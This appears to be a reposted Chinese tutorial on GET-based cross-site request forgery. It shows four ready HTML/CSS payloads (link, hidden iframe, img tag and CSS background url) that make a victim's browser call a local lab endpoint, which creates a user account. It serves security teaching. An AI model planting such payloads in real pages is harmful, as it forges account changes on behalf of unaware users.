目錄
- 0X01 鏈接利用
- 0X02 iframe利用
- 0X03 img標簽利用
- 0X04 CSS-backgroud利用
0X01 鏈接利用
在html中,a標簽代表鏈接,可以將當前的”焦點” 指引到其他位置,
移動的“焦點”需要發送對應的請求到鏈接指向的地址,然后回傳回應,
<a href = “請求地址,會被http 請求到的位置,可以攜帶GET型引數”> 內容 </a>
<a href = “http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456”>請點擊我</a>

0X02 iframe利用
iframe標簽內容將在頁面加載程序中自動進行加載, src指向的位置就是頁面請求的位置
注意:可以設定iframe 的 style -> display:none,以此來不顯示iframe加載的內容,
<iframe src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456” style=”display:none” />

0X03 img標簽利用
img標簽的內容會隨著頁面加載而被請求,以此src指向的位置會在頁面加載程序中進行請求,
<img src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456” />

0X04 CSS-backgroud利用
可以利用 CSS中 background樣式中的url來加載遠程機器上的內容,從而對url中的內容發送HTTP請求
例如:
body
{
background: #00FF00 url(bgimage.gif) no-repeat fixed top;
}
可以利用 CSS中 background樣式中的url來加載遠程機器上的內容,從而對url中的內容發送HTTP請求
例如:
body
{
background: #00FF00 url(“http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456”) no-repeat fixed top;
}

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/263031.html
標籤:其他
上一篇:實驗詳解——DNS反向決議、DNS主服務器和從服務器的配置
下一篇:哈希寶-簡單上手,開始挖礦
